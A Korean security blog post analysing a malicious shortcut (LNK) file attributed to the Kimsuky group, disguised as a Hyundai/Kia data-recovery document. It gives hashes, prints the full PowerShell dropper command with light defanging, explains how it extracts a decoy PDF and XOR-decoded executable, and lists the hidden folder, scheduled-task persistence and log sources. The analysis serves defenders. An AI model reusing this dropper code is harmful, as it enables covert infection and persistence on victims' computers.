오늘은 북한 해킹 단체 김수키(Kimsuky) 에서 제작한 악성코드인 현대 데이터 복구 및 절차 수립에 대해 알아보겠습니다. 일단 생성되는 내용을 보면 현대자동차·기아 데이터 복구 및 절차 수립 관련 내용인데…. 일단 원청이 해킹을 당했는지 아니면 하청을 해킹을 당했는지 아니면 어떤 분께서 이야기한 우리 북한? 에서 제작한 것이 알 수가 없는지라. 그냥 있는 그대로 글자를 적을 것입니다.
먼저 해시
파일명:현대 데이터 복구 및 절차 수립.lnk
사이즈:52 MB
MD5:75712ce08f5c6c78b3ba8ff94d8ee264
SHA-1:553616ae94ec7e7fb97f886bb5c4e66f4e4136e9
SHA-256:e44f8592680fd14373a51b9667c6e6e4ca47f84d16c1437e20d4d1bea2c6bfee
무려 52MB에 달하는 내용으로 구성되어 있으며 당연히 해당 파일은 PDF가 포함돼 있습니다.
악성코드 PowerShell

StringData
{
namestring:
relativepath: not present
workingdir: not present
commandlinearguments: /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow6(4)\WindowsP(o)w
erShell\v1.0\*rshell(.)exe /s /b /od') do (c0all %a "$et=@('(.)lnk');$dPo0 = Get-Loc(a)ti
on; if (-not (Test-Path 'C:\tempcaches')) { mkdir 'C:\tempcaches' }; attrib +h +s 'C:\tem
pcaches'; if($dPo0 -Match 'System32' -or $dPo0 -Match 'Program Files') {$dPo0 = '%t(e)mp%'
};$lnPo0 = Get-ChildItem -Path $dPo0 -Recurse *.* -File | where {$_.extension -in $et} | w
here-object {$_.length -eq 0x03380000} | Select-Object -E(x)pandProperty FullName;$lnF0=N
ew-Object System.IO.FileStream($lnPo0, [System.IO.FileMode]::Open, [System.IO.FileAccess]:
:Read);$lnF0.Seek(0x0(0)001046, [System.IO.SeekOrigin]::Begin);$sFo0=New-Object byte[] 0x00
16DCC0;$lnF0.Read($sFo0, 0, 0x0016DCC0);$sPo0 = $lnPo0.replace('(.0lnk','.pdf');sc $sPo0 $s
Fo0 -Encoding Byte;& $sPo0;$lnF0.Seek(0x0016ED06,[System.IO.SeekOrigin]::Begin);$eFo0=New-(
O)bject byte[] 0x0005B488;$lnF0.Rea(d)($eFo0, 0, 0x0005B488);for($i=0;$i -lt 0x0005B488;$i+
+) {$eFo0[$i]=$eFo0[$i] -bxor 0xAD;} $ePo0='C:\tempcaches\ms(.)exe';sc $ePo0 $eFo0 -Encodi
ng Byte;$lnF0.Seek(0x001CA18E,[System.IO.SeekOrigin]::Begin);$mFo0=New-Object byte[] 0x0000
0909;$lnF0.Read($mFo0, 0, 0x00000909);for($i=0;$i -lt 0x00000909;$i++) {$mFo0[$i]=$mFo0[$i]
-b(x)or 0xAD;} $mPo0='C:\tempcaches\ms(.)exe.manifest';sc $mPo0 $mFo0 -Encoding Byte;$lnF0
.Seek(0x001CAA97,[System.IO.SeekOrigin]::Begin);schtasks /create /tn U(p)date-out-of-date-2
0240324001883765674 /tr 'C:\tempcaches\ms(.)exe' /sc minute /mo 10 /f;schtasks /create /tn
Update-out-of-date-20240324001883765675 /tr 'wscript /b c:\tempcaches\cache.vbs' /sc minute
/mo 11 /f;$lnF0.Close();re(m)ove-item -path $lnPo0 -force;" &&exit
iconlocation: .pdf
}
악성코드 분석
1.PowerShell 실행
C:\Windows\SysWow64\WindowsPowerShell\v1.0 디렉터리에서 이름에 rshell.exe 가 포함된 모든 파일을 찾는 동시 악성코드가 PowerShell 호스트(powershell.exe)를 통해 실행되도록 위장
/OD (오래된->최신 정렬)로 나열된 경로를 for /f로 순회하며 call % a 형태로 호출
.PDF는 아이콘 위장용으로 돼 있음
2. 탐색 대상 경로 선택
현재 폴더가 System32/Program Files가 아닌 경우엔 그냥 현재 폴더를 재귀하게 하고 참일 경우에는 %temp% 라는 존재하지 않을 수 있는 경로를 스캔하려 시도
3.대상 LNK 선택
.lnk 중에서 길이->0x03380000 (54,001,664 bytes 약 51.5 MiB)
51.5 MiB짜리 LNK 는 매우 비정상인 것을 쉽게 확인 가능 즉 나는 악성코드이다.
PDF 로 변경
LNK 파일 안에서 0x00001046 위치부터 0x0016DCC0 바이트(약 1.49MB)를 읽고 해당 데이터는 그대로 저장되어 원래 LNK의 이름에서. lnk 를 .pdf 로 바꾼 파일명으로 저장
디코이 문서
2.XOR 0xAD 연산
0x0016ED06 위치부터 0x0005B488 바이트(약 374KB)를 읽어들이며 단순 저장이 아니라 바이트 하나하나를 XOR 0xAD 연산으로 복호화
C:\tempcaches\ms.exe라는 파일로 저장
실제 악성 실행 파일(PE 파일)
3.XOR 0xAD 복호화 2
마지막으로 x001CA18E 위치부터 0x00000909 바이트(2.3KB 정도)로 읽어들이며
XOR 0xAD 복호화 과정을 거치고 나서
복호화된 내용은 C:\tempcaches\ms.exe.manifest 라는 파일로 저장
실행 파일 매니페스트로 프로그램 실행 시 관리자 권한을 요구하거나 호환성 모드 같은 실행 속성을 정의하는 데 사용이 되며 ms.exe 실행 환경을 정상적으로 보이게 하거나 권한 상승
정리
PDF 위장 디코이

실제 악성코드(EXE)
EXE 실행 환경 매니페스트
C:\tempcaches 폴더가 없으면 생성 후 attrib +h +s로 숨김+시스템 플래그 부여
ms.exe 10분마다 실행을 하며
cache.vbs 11분마다 실행하지만, 해당 스크립트 내에선 cache.vbs를 생성하지 않음
마지막에는 당연히 $lnF0.Close() 후 Remove-Item -Force로 원본 LNK 폭파
C:\tempcaches\ms.exe
C:\tempcaches\ms.exe.manifest
스케줄러 작업
Update-out-of-date-20240324001883765674
Update-out-of-date-20240324001883765675


이벤트/로그
Microsoft-Windows-TaskScheduler/Operational
Sysmon(Event ID 1, 11, 13), PowerShell logs (module/script block)
레지스트리/AMCache


ms.exe 파일 분석 하기 귀찮아서 통과

핵심 요약
LNK(바로가기) 악용한 악성코드
LNK에서 디코이 PDF,XOR 암호화된 EXE(실제 페이로드),매니페스트 를 하드 코딩 오프셋으로 사용
이후 작업 스케줄러 2개를 등록해 10분/11분 주기로 지속성 확보 즉 쉽게 이야기하면 컴퓨터 실행을 할 때부터 실행되고 계속 컴퓨터에서 실행
드롭 디렉터리 C:\tempcaches를 숨김+시스템 속성으로 은폐
원본 LNK 삭제
templist 파일에 포함된 내용
호스트 OS 정보 + 프로세스 목록(tasklist) 요약입니다.
Windows 10 Pro (빌드 19045), VirtualBox 가상머신 환경.
최근 설치 (2025-04-26)
현재 부팅:2025-09-11 오전 5:55.
메모리,네트워크 정상 범위
아마도 해당 부분을 수집해 가는 것이 목적이 아닐까? 생각이 됩니다.
그리고 PDF 내용은 그냥 별것 없고 그냥 KISA-보호 나라, 경찰청 사이버수사대, 고객사에 신고하거나 백업하라는 내용임 별것 없음
결론은 김수키(Kimsuky)는 대기업도 노리고 있다. 아~이것도 국방부에 물어봐야 하느냐?
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
| DDR5 메모리 Rowhammer 방어를 우회 하는 새로운 Phoenix 공격 (0) | 2025.09.18 |
|---|---|
| 김수키(Kimsuky)삼성전자 미팅 관련 으로 제작 악성코드(2025.9.11) (0) | 2025.09.17 |
| 북한 김수키(Kimsuky)에서 제작한 악성코드-ofx.txt(2025.6.11) (0) | 2025.09.16 |
| 윈도우 10 KB5065429,윈도우 11 KB5065426,KB5065431 정기 보안 업데이트 (0) | 2025.09.11 |
| Microsoft Edge 140이 출시 및 몇 가지 새로운 기능이 포함 (0) | 2025.09.11 |
| 난독화된 JS와 BNB 체인을 이용한 ClickFix 공격 (0) | 2025.09.10 |
| 김수키(Kimsuky)에서 만든 피싱 메일-[국세청] 9월 신고 납부 기한 통지서(2025.8.25) (0) | 2025.09.08 |
| Fakecaptcha 를 이용한 ClickFix(클릭픽스) 공격-45(.)32(.)133(.)19(2025.9.2) (0) | 2025.09.04 |





